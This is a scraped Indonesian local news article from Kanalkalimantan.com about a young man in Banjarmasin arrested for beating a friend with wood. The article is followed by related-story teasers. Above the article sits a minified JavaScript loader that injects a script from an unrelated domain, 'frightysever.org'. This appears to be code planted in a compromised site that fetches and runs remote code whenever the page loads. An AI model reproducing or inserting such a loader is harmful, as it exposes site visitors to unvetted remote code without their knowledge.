(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Seorang pemuda di Kota Banjarmasin harus berurusan dengan hukum akibat melakukan penganiayaan terhadap kawan sendiri.
MI (23), warga Jalan Belitung Darat, Kelurahan Kuin Cerucuk, Kecamatan Banjarmasin Barat, Kota Banjarmasin, diadukan oleh korban bernama Akhmad Rifa’i (31) yang merupakan warga Martapura, Kabupaten Banjar.
Kapolsek Banjarmasin Barat Kompol Indra Agung Perdana Putra Melalui Kanit Reskrim Iptu Firuza Bahri, penganiayaan terjadi pada Minggu (20/8/2023) malam.
Baca juga: Api Bakar Lahan Gambut di Pematang Panjang Sungai Tabuk
Dijelaskannya, menurut pengakuan korban, Akhmad Rifa’i pada hari itu sekitar pukul 19.00 Wita sedang nongkrong di kawasan jalan Belitung Darat Banjarmasin.
Kemudian MI datang dan mengajaknya untuk jalan-jalan menaiki sepeda motor miliknya.
Sesampainya di jalan Belitung Darat Gang Barak, Kelurahan Kuin Cerucuk, korban dengan pelaku beradu mulut hingga berakhir dengan pemukulan yang dilakukan MI.
Baca juga: PDIP Kalsel Siapkan PAW Rifqi, Mainkan Gimik Politik Kontestasi
Disebutkan, pertama korban dipukul pada bagian punggung sebelah kiri menggunakan kayu, kemudian pelaku kembali memukul menggunakan tangan kosong hingga akhirnya ada orang yang melerai.
“Akibat kejadian itu korban mengalami luka di bagian punggung sebelah kiri, selanjutnya pelapor melaporkan kejadian tersebut ke Polsek Banjarmasin Barat untuk proses hukum lebih lanjut,” katanya, Jumat (25/8/2023) siang.
Pelaku MI (23) berhasil diringkus tiga hari berikutnya oleh tim gabungan pada Selasa (22/8/2023) lalu sekitar pukul 22.00 Wita di depan Pasar Kalindo Banjarmasin.
Baca juga: Pemerintah Desa Tumbang Muroi Berupaya Lawan Karhutla
Sementara itu, barang bukti yang diamankan oleh Polisi yaitu hasil rontgen (VER) luka yang dialami oleh korban.
“Pelaku dan barang bukti diamankan ke Polsek Banjarmasin Barat guna proses hukum lebih lanjut,” katanya.
Atas kejadian tersebut pelaku MI dijerat dengan Pasal 351 KUH.
(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.